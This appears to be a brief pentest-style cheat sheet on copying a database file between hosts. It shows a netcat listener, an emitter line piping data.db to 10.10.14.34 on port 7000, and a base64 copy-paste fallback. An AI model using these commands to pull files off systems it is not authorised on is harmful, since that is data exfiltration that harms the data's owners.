netcat
local receiver
nc -l -p 7000 -q 1 > remote_data.db < /dev/null
remote emitter
cat data.db | netcat 10.10.14.34 7000
Base 64
In case of a document small enough, a simple copy paste of its bytes encoded in base64 is an interesting alternative if no network tool is available.
remote emitter
cat /path/to/file.db | base64 -w 0
local receiver
echo "<content>" | base64 -d > file.db
